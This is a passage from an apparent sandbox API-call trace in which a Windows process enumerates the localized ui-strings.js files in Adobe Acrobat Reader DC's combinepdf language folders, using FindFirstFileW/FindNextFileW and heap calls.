dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.664] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.664] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.664] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.664] GetProcessHeap () returned 0xc10000 [0248.664] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.664] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0248.665] GetProcessHeap () returned 0xc10000 [0248.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.666] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.666] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.667] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.667] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.667] GetProcessHeap () returned 0xc10000 [0248.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.667] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0248.668] GetProcessHeap () returned 0xc10000 [0248.668] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.669] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.670] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.670] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.670] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0248.670] GetProcessHeap () returned 0xc10000 [0248.670] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.670] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0248.671] GetProcessHeap () returned 0xc10000 [0248.671] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.671] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0248.671] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.672] GetProcessHeap () returned 0xc10000 [0248.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.672] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0248.672] GetProcessHeap () returned 0xc10000 [0248.672] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.673] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.673] GetProcessHeap () returned 0xc10000 [0248.673] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0248.673] GetProcessHeap () returned 0xc10000 [0248.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.675] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.675] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.675] GetProcessHeap () returned 0xc10000 [0248.675] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0248.676] GetProcessHeap () returned 0xc10000 [0248.676] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.676] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.676] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.677] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.677] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.677] GetProcessHeap () returned 0xc10000 [0248.677] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.677] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0248.677] GetProcessHeap () returned 0xc10000 [0248.677] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.678] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.678] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.678] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.678] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.679] GetProcessHeap () returned 0xc10000 [0248.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.679] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0248.679] GetProcessHeap () returned 0xc10000 [0248.679] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.680] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.680] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, 